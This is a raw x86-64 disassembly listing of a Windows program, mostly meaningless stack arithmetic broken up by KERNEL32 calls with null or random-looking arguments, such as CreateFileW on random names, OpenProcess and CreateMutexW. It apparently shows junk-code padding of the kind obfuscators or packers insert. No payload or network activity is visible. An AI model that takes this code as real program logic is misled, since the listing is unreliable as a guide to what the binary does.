mov rcx, qword [rsp + 0x9a68]
mov qword [rsp + 0xadf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xadf8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xa940]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9b68]
mov rcx, qword [rsp + 0xa160]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9c88]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x376]
mov byte [rsp + 0x38b], al
movsx eax, word [rsp + 0x1dec]
mov rcx, qword [rsp + 0x9c30]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14022b8c0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1d68]
movzx ecx, word [rsp + 0x1a3c]
add eax, ecx
mov word [rsp + 0xe48], ax
mov rax, qword [rsp + 0xa0c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d1c]
sub eax, ecx
mov word [rsp + 0x1274], ax
mov rax, qword [rsp + 0xa770]
mov rax, qword [rax]
mov rcx, qword [0x140229fb8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xab18]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaaa0]
movzx ecx, al
mov rax, qword [rsp + 0x9e58]
shr rax, cl
mov qword [rsp + 0xa4e0], rax
lea rax, [0x140229fcc]
mov qword [rsp + 0xae00], rax
mov rax, qword [rsp + 0x9e80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa4]
add eax, ecx
mov byte [rsp + 0x342], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x30cd
mov rcx, qword [rsp + 0xa340]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4970], eax
lea rdx, [rsp + 0x4854]
mov rcx, qword [rsp + 0xa138]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4648], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.sjePIEirP6Y
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xae08], rax
movzx eax, word [rsp + 0x1d04]
mov word [rsp + 0x1e3c], ax
lea rdx, [rsp + 0x48c0]
mov rcx, qword [rsp + 0xab88]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47d8], eax
movzx eax, word [rsp + 0x7fc]
movzx ecx, word [0x140229f98]
sub eax, ecx
mov rcx, qword [rsp + 0xa330]
mov word [rcx], ax
mov rax, qword [rsp + 0xa4b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ca8]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14022bab0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaa98]
movzx eax, word [rax]
mov word [rsp + 0x1e40], ax
mov rax, qword [rsp + 0x9e70]
mov rcx, qword [0x14022b8d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa280], rax
mov rax, qword [rsp + 0x9788]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa218]
mov qword [rsp + 0xae10], rcx
movzx ecx, al
mov rax, qword [rsp + 0xae10]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7848], rax
lea rax, [rsp + 0x7f78]
mov qword [rsp + 0xae18], rax
movsx eax, byte [rsp + 0x37f]
mov rcx, qword [0x14022ba80]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x37c], al
mov eax, dword [rsp + 0x48e4]
mov ecx, dword [rsp + 0x46ac]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fe0], eax
lea rcx, [rsp + 0xac30]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, byte [rsp + 0x36a]
movzx ecx, byte [0x140229f1d]
xor eax, ecx
mov byte [rsp + 0x2d6], al
mov eax, dword [rsp + 0x4020]
mov ecx, dword [rsp + 0x473c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x471c], eax
lea rax, [rsp + 0x1e00]
mov qword [0x14022bb40], rax
movzx eax, word [rsp + 0x16b4]
mov word [rsp + 0x1e44], ax
mov rax, qword [0x14022b998]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa840]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1508], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xae20], rax
movzx eax, word [rsp + 0x9f4]
movzx ecx, word [rsp + 0x83c]
add eax, ecx
mov word [rsp + 0xff8], ax
mov rax, qword [rsp + 0x7960]
mov rcx, qword [rsp + 0xa7e0]
mov qword [rsp + 0xae28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xae28]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9730], rax
mov rax, qword [rsp + 0xa2f0]
mov rcx, qword [rsp + 0xa190]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x491c], eax
lea rax, [rsp + 0x277]
mov qword [rsp + 0xae30], rax
mov rax, qword [rsp + 0xa528]
movsx eax, word [rax]
mov rcx, qword [0x14022b8b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xecc], ax
lea rax, [rsp + 0x19bc]
mov qword [rsp + 0xae38], rax
lea rax, [rsp + 0x9bf8]
mov qword [0x14022bb48], rax
mov rax, qword [0x14022b920]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa548]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d48]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa3d0]
mov qword [rsp + 0xae40], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov rax, qword [rsp + 0xacd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8db8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f10], rax
movzx eax, word [rsp + 0x1dd8]
movzx ecx, word [rsp + 0x1cfc]
and eax, ecx
mov rcx, qword [rsp + 0xa708]
mov word [rcx], ax
lea rax, [rsp + 0x39f0]
mov qword [rsp + 0xae48], rax
movzx eax, byte [rsp + 0xa9]
mov rcx, qword [rsp + 0xabf8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xf3], al
lea rax, [rsp + 0xa450]
mov qword [rsp + 0xae50], rax
mov rax, qword [rsp + 0x98b8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b0]
or eax, ecx
mov byte [rsp + 0x350], al
mov rax, qword [rsp + 0xa108]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x437c]
xor ecx, eax
mov eax, ecx
mov dword [0x14022b878], eax
movsx eax, word [rsp + 0x10c0]
mov rcx, qword [0x14022b8a0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1d40], ax
lea rax, [rsp + 0x1d98]
mov qword [rsp + 0xae58], rax
mov rax, qword [rsp + 0xa708]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa018]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xdb8], ax
lea rax, [0x14022b9c0]
mov qword [rsp + 0xae60], rax
mov rax, qword [rsp + 0x9b20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x353]
sub eax, ecx
mov byte [rsp + 0xeb], al
mov rax, qword [rsp + 0xac38]
mov ecx, dword [rsp + 0x4948]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4270], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xf953
mov rcx, qword [rsp + 0xa340]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4694], eax
mov rax, qword [rsp + 0xa898]
mov rax, qword [rax]
mov qword [rsp + 0xae68], rax
mov rax, qword [rsp + 0xacd0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa7b0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa030]
mov word [rcx], ax
lea rdx, [rsp + 0x47f8]
mov rcx, qword [rsp + 0x99d8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4974], eax
mov rax, qword [rsp + 0x9c10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d00]
sar eax, cl
mov word [0x140229ff4], ax
mov rax, qword [rsp + 0x82e8]
mov rcx, qword [rsp + 0x82d0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x85f8], rax
movzx eax, word [rsp + 0x19c0]
mov rcx, qword [rsp + 0xa1b0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa468]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
movzx eax, byte [rsp + 0x29c]
mov rcx, qword [rsp + 0x9c68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x362], al
lea rax, [rsp + 0x460c]
mov qword [rsp + 0xae70], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xbde3
mov rcx, qword [rsp + 0xa890]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x46dc], eax
mov rax, qword [rsp + 0x9ff8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x358]
sub eax, ecx
mov rcx, qword [rsp + 0xac08]
mov byte [rcx], al
mov eax, dword [rsp + 0x4864]
mov dword [rsp + 0x4978], eax
mov rax, qword [rsp + 0x9ec0]
mov rcx, qword [rsp + 0x9a00]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa688]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa738]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d20]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1b80], ax
mov rax, qword [rsp + 0x9e98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb30]
or eax, ecx
mov rcx, qword [0x14022b8c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8a18]
mov rcx, qword [rsp + 0xaab0]
mov qword [rsp + 0xae78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xae78]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xad68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x98e0]
mov rcx, qword [rsp + 0xa260]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9c80], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xae80], rax
mov rax, qword [rsp + 0x9f40]
movzx eax, word [rax]
mov word [rsp + 0x1e48], ax
mov rax, qword [rsp + 0xa4f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cbc]
add eax, ecx
mov word [rsp + 0x1274], ax
lea rcx, [rsp + 0xa680]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [rsp + 0x48d0]
mov dword [rsp + 0x497c], eax
mov rax, qword [0x14022b9d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9fa8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x373], al
mov rax, qword [rsp + 0xa9d8]
mov rcx, qword [rsp + 0xa2f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa698]
mov qword [rcx], rax
lea rax, [rsp + 0x6ff8]
mov qword [rsp + 0xae88], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xc64
mov rcx, qword [rsp + 0xa640]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x472c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xae90], rax
mov rax, qword [0x14022ba48]
movzx eax, word [rax]
mov word [0x14022bb50], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x126c
mov rcx, qword [rsp + 0xa6a0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x48cc], eax
movzx eax, word [rsp + 0x968]
movzx ecx, word [rsp + 0x1d48]
sar eax, cl
mov rcx, qword [rsp + 0xa338]
mov word [rcx], ax
lea rax, [rsp + 0x3db8]
mov qword [rsp + 0xae98], rax
mov rax, qword [rsp + 0xabf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
add eax, ecx
mov rcx, qword [rsp + 0x9a48]
mov byte [rcx], al
lea rdx, [rsp + 0x4980]
mov rcx, qword [rsp + 0xa8a8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48b0], eax
mov rax, qword [rsp + 0x9f68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9cf0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa880], rax
mov rax, qword [rsp + 0xa788]
mov rcx, qword [0x14022b808]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8128], rax
mov eax, dword [rsp + 0x447c]
mov ecx, dword [rsp + 0x4718]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x477c], eax
mov r9d, 0x249
xor r8d, r8d
lea rdx, [rsp + 0x9860]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4868], eax
lea rdx, [rsp + 0x4984]
mov rcx, qword [rsp + 0xa8a8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x472c], eax
mov rax, qword [rsp + 0xa988]
movzx eax, byte [rax]
mov byte [rsp + 0x38c], al
movsx eax, word [rsp + 0x1e20]
movsx ecx, word [0x14022bb20]
xor eax, ecx
mov word [rsp + 0x1d20], ax
movzx eax, word [rsp + 0x1d9c]
movzx ecx, word [rsp + 0x19b8]
shl eax, cl
mov word [0x14022b978], ax
lea rax, [rsp + 0x8990]
mov qword [rsp + 0xaea0], rax
movzx eax, word [rsp + 0x1a3c]
movzx ecx, word [0x140229f9c]
sar eax, cl
mov word [rsp + 0x1dac], ax
movsx eax, word [rsp + 0x86c]
mov rcx, qword [rsp + 0x9848]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9c18]
mov word [rcx], ax
mov rax, qword [rsp + 0xa5b8]
mov rcx, qword [0x14022ba78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7b58], rax
mov rax, qword [rsp + 0xa6e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f30], rax
mov rax, qword [rsp + 0x9c20]
movzx eax, byte [rax]
mov byte [rsp + 0x38d], al
mov rax, qword [rsp + 0xa958]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x482c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a24], eax
mov rax, qword [rsp + 0xaa10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa64]
and eax, ecx
mov rcx, qword [rsp + 0x9888]
mov word [rcx], ax
mov rax, qword [rsp + 0x9828]
mov rcx, qword [rsp + 0xa218]
mov qword [rsp + 0xaea8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaea8]
mov rax, qword [rax]
sar rax, cl
mov qword [0x140229f48], rax
lea rax, [rsp + 0x48f4]
mov qword [rsp + 0xaeb0], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x2eba
mov rcx, qword [rsp + 0x9bf0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x487c], eax
movzx eax, byte [rsp + 0x360]
movzx ecx, byte [rsp + 0x35f]
sub eax, ecx
mov byte [rsp + 0x33e], al
lea rax, [rsp + 0xc24]
mov qword [rsp + 0xaeb8], rax
mov rax, qword [rsp + 0xa238]
movzx eax, word [rax]
movzx ecx, word [0x140229f9c]
add eax, ecx
mov word [rsp + 0x1d44], ax
mov rax, qword [rsp + 0x97e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9408]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7e48], rax
mov rax, qword [0x14022b950]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4484]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d7c], eax
movsx eax, byte [rsp + 0x1b0]
movsx ecx, byte [rsp + 0x371]
or eax, ecx
mov rcx, qword [rsp + 0x9c98]
mov byte [rcx], al
lea rax, [rsp + 0x156c]
mov qword [rsp + 0xaec0], rax
lea rax, [rsp + 0x1df4]
mov qword [0x14022bb58], rax
mov rax, qword [rsp + 0xad50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xad68]
mov qword [rsp + 0xaec8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaec8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa720], rax
mov rax, qword [rsp + 0xac88]
mov rcx, qword [rsp + 0xae40]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xad40]
mov qword [rcx], rax
lea rax, [rsp + 0x7400]
mov qword [rsp + 0xaed0], rax
movsx eax, word [0x14022b8d4]
mov rcx, qword [rsp + 0xa398]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1c88], ax
lea rdx, [rsp + 0x4988]
mov rcx, qword [rsp + 0xa340]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48b0], eax
mov rax, qword [rsp + 0x9b20]
movzx eax, byte [rax]
mov byte [rsp + 0x38e], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov eax, dword [rsp + 0x4530]
mov ecx, dword [rsp + 0x458c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4020], eax
mov rax, qword [0x14022b808]
mov qword [rsp + 0xaed8], rax
mov rax, qword [rsp + 0xa1b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa3a8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9a28]
mov byte [rcx], al
mov rax, qword [rsp + 0xa650]
mov ecx, dword [rsp + 0x4674]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xadb0]
mov dword [rcx], eax
mov r9d, 0x255c
xor r8d, r8d
lea rdx, [rsp + 0xaaa8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x47c8], eax
mov rax, qword [rsp + 0xa050]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16b4]
add eax, ecx
mov word [0x14022b9f8], ax
mov rax, qword [rsp + 0xa2e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x888]
sar eax, cl
mov word [rsp + 0x80c], ax
movzx eax, word [rsp + 0x1b14]
mov rcx, qword [rsp + 0xa778]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1bb4], ax
lea rax, [rsp + 0x9ed0]
mov qword [rsp + 0xaee0], rax
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8220]
shl rax, cl
mov qword [rsp + 0x9e58], rax
movsx eax, byte [0x140229f1e]
mov rcx, qword [rsp + 0x9e80]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x34f], al
mov eax, dword [rsp + 0x4888]
mov dword [rsp + 0x498c], eax
movsx eax, word [rsp + 0x98c]
mov rcx, qword [rsp + 0xa7f0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1c88], ax
mov rax, qword [rsp + 0xa338]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa000]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc60], ax
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0xa6d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x140229ff8], rax
mov rax, qword [rsp + 0x99f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa238]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1a7c], ax
mov rax, qword [rsp + 0x9cd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8180]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8870], rax
lea rax, [rsp + 0xa5b0]
mov qword [rsp + 0xaee8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xad48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9b20]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2b4], al
mov rcx, qword [rsp + 0xacc8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x48d0]
mov qword [rsp + 0xaef0], rax
lea rdx, [rsp + 0x4990]
mov rcx, qword [rsp + 0x96c0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48e8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov rax, qword [rsp + 0xa3a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2d6]
and eax, ecx
mov rcx, qword [rsp + 0x9a28]
mov byte [rcx], al
mov eax, dword [rsp + 0x39f0]
mov ecx, dword [rsp + 0x48c4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4494], eax
mov rax, qword [rsp + 0x9cc8]
mov rax, qword [rax]
mov qword [rsp + 0xaef8], rax
movsx eax, word [rsp + 0x1dec]
movsx ecx, word [rsp + 0x1d6c]
and eax, ecx
mov word [0x140229fd0], ax
mov rax, qword [0x14022b940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1dd0]
sub eax, ecx
mov rcx, qword [rsp + 0x9bd0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1cb0]
mov word [rsp + 0x1e4c], ax
movzx eax, word [rsp + 0xdb8]
mov rcx, qword [rsp + 0xa1b0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1cb0], ax
lea rcx, [rsp + 0xa0a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa190]
mov ecx, dword [rsp + 0x4844]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4304], eax
mov rax, qword [rsp + 0x9ea8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x349]
shl eax, cl
mov rcx, qword [rsp + 0xa920]
mov byte [rcx], al
mov rax, qword [0x14022b818]
mov rcx, qword [rsp + 0x9430]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9b08], rax
mov r9d, 0xac5
xor r8d, r8d
lea rdx, [rsp + 0xae20]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x48c8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa2d8]
movzx eax, word [rax]
mov word [rsp + 0x1e50], ax
movzx eax, word [rsp + 0x1968]
movzx ecx, word [rsp + 0x1d90]
sub eax, ecx
mov rcx, qword [rsp + 0xa000]
mov word [rcx], ax
lea rdx, [rsp + 0x4730]
mov rcx, qword [rsp + 0xace8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45ec], eax
mov rax, qword [0x14022ba90]
mov qword [0x14022bb60], rax
mov rax, qword [rsp + 0xa848]
mov rcx, qword [rsp + 0xad30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f28], rax
mov rax, qword [rsp + 0xa180]
mov rcx, qword [rsp + 0x9cd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7008], rax
mov rax, qword [rsp + 0xae60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7ed8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa3d0], rax
lea rax, [rsp + 0xff8]
mov qword [rsp + 0xaf00], rax
mov eax, dword [rsp + 0x4674]
movzx ecx, al
mov eax, dword [rsp + 0x47b8]
sar eax, cl
mov rcx, qword [rsp + 0x9fc0]
mov dword [rcx], eax
lea rax, [0x140229f1d]
mov qword [rsp + 0xaf08], rax
movsx eax, byte [rsp + 0x370]
mov rcx, qword [rsp + 0xa598]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x375], al
mov rax, qword [rsp + 0xa4d8]
mov rcx, qword [0x14022b808]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xac80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rsp + 0x47ac]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14022a000], eax
lea rax, [rsp + 0x1d54]
mov qword [rsp + 0xaf10], rax
movsx eax, word [rsp + 0x1e28]
movsx ecx, word [0x140229f84]
and eax, ecx
mov word [rsp + 0x19f8], ax
movzx eax, word [rsp + 0x1dd8]
mov word [rsp + 0x1e54], ax
mov rax, qword [rsp + 0x9898]
mov rcx, qword [rsp + 0xa548]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9d48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6fd8]
mov qword [rsp + 0xaf18], rax
mov rax, qword [rsp + 0xa818]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x445c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4270], eax
mov rax, qword [rsp + 0xa998]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa730]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x99c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9f90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1400]
xor eax, ecx
mov word [rsp + 0x1964], ax
mov rax, qword [rsp + 0xa0d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1e08]
sar eax, cl
mov word [0x14022bac4], ax
mov rax, qword [rsp + 0xa418]
mov rcx, qword [0x14022b9c0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa770]
mov qword [rcx], rax
lea rcx, [rsp + 0x9690]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa198]
movzx eax, word [rax]
mov word [rsp + 0x1e58], ax
movzx eax, byte [rsp + 0x381]
movzx ecx, byte [rsp + 0x36a]
sub eax, ecx
mov byte [rsp + 0x275], al
mov rax, qword [rsp + 0x99c8]
mov rcx, qword [rsp + 0xa2c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa7d8]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.Z1yZX9wDqN2IyXlJrNsX2PU8JLg
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xaf20], rax
mov r9d, 0xe63
xor r8d, r8d
lea rdx, [rsp + 0x9b88]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x47f0], eax
lea rcx, [rsp + 0x9b70]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa150]
mov rcx, qword [rsp + 0xab48]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9380], rax
mov eax, dword [rsp + 0x4838]
mov rcx, qword [rsp + 0xad08]
mov qword [rsp + 0xaf28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaf28]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x498c], eax
movzx eax, byte [rsp + 0x133]
mov byte [rsp + 0x38f], al
movsx eax, word [rsp + 0x1dc4]
movsx ecx, word [rsp + 0x1e50]
and eax, ecx
mov rcx, qword [rsp + 0xad28]
mov word [rcx], ax
movzx eax, word [rsp + 0x1d4c]
mov rcx, qword [rsp + 0xaa30]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140229f9c], ax
mov rax, qword [rsp + 0x9fb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6f28]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa770]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b78]
mov qword [rsp + 0xaf30], rax
movsx eax, word [rsp + 0x1cd8]
movsx ecx, word [rsp + 0x1c9c]
xor eax, ecx
mov word [rsp + 0x1d84], ax
lea rax, [rsp + 0x1cc8]
mov qword [rsp + 0xaf38], rax
movsx eax, byte [rsp + 0x348]
movsx ecx, byte [rsp + 0x5c]
or eax, ecx
mov rcx, qword [rsp + 0xaa18]
mov byte [rcx], al
mov eax, dword [0x140229f2c]
movzx ecx, al
mov eax, dword [rsp + 0x4530]
shl eax, cl
mov rcx, qword [rsp + 0xae00]
mov dword [rcx], eax
lea rax, [rsp + 0x80d8]
mov qword [rsp + 0xaf40], rax
mov rax, qword [rsp + 0x7f68]
movzx ecx, al
mov rax, qword [rsp + 0x8668]
sar rax, cl
mov qword [rsp + 0xa880], rax
mov rax, qword [rsp + 0xa2d8]
movzx eax, word [rax]
mov word [0x14022bb68], ax
